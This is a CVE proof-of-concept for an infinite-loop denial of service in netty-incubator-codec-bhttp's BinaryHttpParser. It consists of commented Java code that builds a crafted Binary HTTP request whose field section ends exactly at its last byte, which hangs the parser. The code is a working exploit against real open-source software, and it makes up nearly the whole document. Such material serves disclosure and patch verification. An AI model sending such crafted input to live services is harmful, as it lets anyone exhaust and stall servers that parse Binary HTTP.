CVE-2026-63124: netty-incubator-codec-bhttp BinaryHttpParser Infinite Loop DoS

// Minimal Java PoC (run WITHOUT -ea so the assert is inactive)
// Sends a known-length BHTTP GET request whose field section ends exactly
// at the last byte of the one field line it contains.
//
// Field section encoding:
//   varint(4)          <- field section length = 4 bytes total
//   varint(1) + "a"   <- field name  (1+1 = 2 bytes)
//   varint(1) + "b"   <- field value (1+1 = 2 bytes)
// Total field section body = 4 bytes, no byte follows => triggers null return.

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.incubator.codec.bhttp.BinaryHttpParser;
import io.netty.incubator.codec.bhttp.VarIntCodecUtils;
import java.nio.charset.StandardCharsets;

public final class VerifyBhttpHang {
  private static void writeAscii(ByteBuf out, String v) {
    VarIntCodecUtils.writeVariableLengthInteger(out, v.length());
    out.writeCharSequence(v, StandardCharsets.US_ASCII);
  }
  public static void main(String[] args) {
    ByteBuf buf = Unpooled.buffer();
    VarIntCodecUtils.writeVariableLengthInteger(buf, 0); // known-length request
    writeAscii(buf, "GET");
    writeAscii(buf, "https");
    writeAscii(buf, "example.com");
    writeAscii(buf, "/");
    VarIntCodecUtils.writeVariableLengthInteger(buf, 4); // field section = 4 bytes
    writeAscii(buf, "a");  // name
    writeAscii(buf, "b");  // value
    // parser hangs here; timeout 3 returns exit 124
    new BinaryHttpParser(8192).parse(buf, false);
  }
}